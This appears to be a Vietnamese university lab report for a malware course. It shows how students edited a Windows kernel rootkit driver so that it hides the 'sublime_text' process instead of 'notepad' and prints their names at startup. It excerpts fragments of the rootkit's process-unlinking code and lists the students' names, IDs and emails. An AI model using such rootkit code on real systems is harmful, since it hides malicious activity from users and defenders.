Phòng thí nghiệm An toàn Thông tin InsecLab
Trường Đại học Công nghệ Thông tin (UIT)

BÁO CÁO THỰC HÀNH

Môn học: Cơ chế hoạt động của mã độc

Tên chủ đề: DLL injection

GVHD: Ngô Đức Hoàng Sơn

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT230.O21.ANTT.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Đình Luân	21521105	21521105@gm.uit.edu.vn
2	Trần Thanh Triều	21522713	21522713@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:[1]

STT	Nội dung	Tình trạng
1	Yêu cầu 1	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

[1] Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Link Video Demo: https://youtu.be/btbzS-vR9jA

Tìm hiểu file code c, ta thấy có đoạn code chỉ ra tiến trình được ẩn:

```
while(curr)
{
    //DbgPrint("Current item is %x\n", curr);
  if (curr->ProcessName.Buffer != NULL)
  {
    if(0 == memcmp(curr->ProcessName.Buffer, L"notepad", 12))
    {
      m_UserTime.QuadPart += curr->UserTime.QuadPart;
      m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

      if(prev) // Middle or Last entry
```

Sửa lại bằng tiến trình khác ta muốn ẩn, ở dây em chọn sublime_text:

```
    //DbgPrint("Current item is %x\n", curr);
  if (curr->ProcessName.Buffer != NULL)
  {
    if(0 == memcmp(curr->ProcessName.Buffer, L"sublime_text", 12))
    {
      m_UserTime.QuadPart += curr->UserTime.QuadPart;
      m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
```

Sau đó chúng ta tìm dòng code in ra thông báo khi driver được chạy:

```
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
  DbgPrint("ROOTKIT: Started\n");
  // Register a dispatch function for Unload
  theDriverObject->DriverUnload  = OnUnload;

  // Initialize global times to zero
  // These variables will account for the
  // missing time our hidden processes are
  // using.
  m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
```

Sửa lại để khi chạy in ra thông tin của sinh viên:

```
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
  DbgPrint("Nguyen Dinh Luan 21521105\n Tran Thanh Trieu 21522713");
  // Register a dispatch function for Unload
  theDriverObject->DriverUnload  = OnUnload;

  // Initialize global times to zero
  // These variables will account for the
  // missing time our hidden processes are
```

Demo và Kết quả ở video.